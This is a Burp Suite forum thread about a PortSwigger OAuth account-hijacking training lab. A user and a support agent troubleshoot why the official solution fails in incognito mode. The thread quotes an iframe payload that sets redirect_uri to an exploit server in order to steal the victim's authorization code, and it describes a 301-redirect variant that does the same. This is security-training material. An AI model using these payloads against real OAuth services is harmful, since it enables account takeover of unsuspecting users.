Burp Suite User Forum

Create new post

Issues on the proposed solution to Lab: OAuth account hijacking via redirect_uri

Samuele | Last updated: May 15, 2024 04:58PM UTC

We tried to solve https://portswigger.net/web-security/oauth/lab-oauth-account-hijacking-via-redirect-uri using the proposed solution. In particular, to steal the authorization code, such solution specifies to have the exploit server to return to the victim a page with an iframe that refers to the authorization request URL, with redirect_uri referring to the exploit server. However, this solution didn't work for us: the OAuth server returns a "SessionNotFound: invalid_request" error message within the iframe after trying to self-attack through the "view exploit" feature. Finally, we managed to steal the authorization code by redirecting the victim (via a "301 Found" HTTP response) from the exploit server to the authorization request URL. We used the latest version of the Burp suite to solve the lab. Additionally, we believe that the exploit code template described in the proposed solution contains an inaccuracy. Currently, the exploit code is: <iframe src="https://oauth-your-lab-oauth-server-id.oauth-server.net/auth?client_id=YOUR-LAB-CLIENT-ID&redirect_uri=https://YOUR-EXPLOIT-SERVER-ID.exploit-server.net&response_type=code&scope=openid%20profile%20email"></iframe> but it should be (note the addition of the "exploit-" prefix in the hostname of the redirect_uri): <iframe src="https://oauth-your-lab-oauth-server-id.oauth-server.net/auth?client_id=YOUR-LAB-CLIENT-ID&redirect_uri=https://exploit-YOUR-EXPLOIT-SERVER-ID.exploit-server.net&response_type=code&scope=openid%20profile%20email"></iframe>

Ben, PortSwigger Agent | Last updated: May 16, 2024 01:11PM UTC

Hi Samuele, Which browser are you using when you attempt this particular lab? This may or may not be clear within the solution itself but the <YOUR-EXPLOIT-SERVER-ID> would, from our point of view, also include the 'exploit-' prefix of the URL.

Samuele | Last updated: May 16, 2024 04:21PM UTC

Thank you for the reply. I am using Chromium 124.0.6367.118 embedded in the Burp Suite Community Edition v2024.3.1.4. Regarding the "exploit-" prefix, the final exploit must include it. However, since the solution includes "oauth-" before <YOUR-LAB-OAUTH-SERVER-ID>, we believe that it would have been more consistent to also include "exploit-" before <YOUR-EXPLOIT-SERVER-ID>. Anyway, that's just my opinion.

Ben, PortSwigger Agent | Last updated: May 17, 2024 10:02AM UTC

Hi Samuele, If you use a standard version of Chrome (rather than the embedded browser) are you able to solve the lab using the written solution provided? We can certainly pass that feedback on to the content team so that they are aware the required URL may not be immediately obvious to all users.

Samuele | Last updated: May 17, 2024 12:51PM UTC

I tried to solve the lab using the proposed solution on the official build of Chrome 124.0.6367.209, the problem persists.

Ben, PortSwigger Agent | Last updated: May 17, 2024 01:20PM UTC

Hi Samuele, Are you able to email us at support@portswigger.net and include a screenshot of the exploit you are using and what you see in the access logs? I am able to get both the 'View exploit' and 'Deliver to victim' functionality to work using a standard version of Chrome so it would be useful to see exactly what you are doing.

Samuele | Last updated: May 20, 2024 05:40PM UTC

I think I've found the cause of the issue. Both in Burp's embedded Chromium and official Chrome build (I tested in incognito mode - sorry for the inconvenience), the "_session" cookie is not sent along the "/auth" request within the iframe (proposed solution), while it is sent when the top-level frame is redirected (my solution). The proposed solution works fine in normal (non-incognito) mode using the official Chrome build.

You must be an existing, logged-in customer to reply to a thread. Please email us for additional support.